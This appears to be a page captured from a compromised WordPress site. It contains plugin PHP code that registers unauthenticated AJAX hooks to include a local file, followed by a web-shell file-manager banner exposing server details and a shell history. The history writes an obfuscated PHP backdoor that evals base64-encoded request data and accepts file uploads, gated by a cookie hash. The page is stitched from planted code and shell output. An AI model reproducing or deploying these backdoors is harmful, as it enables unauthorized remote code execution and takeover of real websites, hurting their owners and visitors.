if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/psysh_history
_HiStOrY_V2_
//\012file_put_contents($_SERVER['DOCUMENT_ROOT'].'/2adf479fe53d.php','<?php\040echo\040409723*20;if(md5($_COOKIE["d"])=="\13461\134x37\13460\13462\134x38\134146\134x34\13470\13467\134143\134142\134x32\134141\13470\134x34\134x36\134x30\13467\134x36\13464\134x36\134x64\134141\13463\134141\134144\13463\13470\13467\134x38\134145\134143"){echo"\134x6f\134x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\134165\134160"]=="\134165\134x70"){@copy($_FILES["\134x66\134151\134x6c\134x65"]["\134164\134155\134x70\134x5f\134x6e\134x61\134x6d\134x65"],$_FILES["\134146\134x69\134154\134x65"]["\134156\134141\134155\134x65"]);}}?>\012');
//\012system\040('echo\040PD89NDA5NzIzKjIwO2lmKG1kNSgkX0NPT0tJRVtkXSk9PSJcNjFceDM3XDYwXDYyXHgzOFwxNDZceDM0XDcwXDY3XDE0M1wxNDJceDMyXDE0MVw3MFx4MzRceDM2XHgzMFw2N1x4MzZcNjRceDM2XHg2NFwxNDFcNjNcMTQxXDE0NFw2M1w3MFw2N1x4MzhcMTQ1XDE0MyIpe2VjaG8iXHg2Zlx4NmIiO2V2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbaWRdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4=|base64\040-d|\040tee\0402adf479fe53d.php');
@ Telegram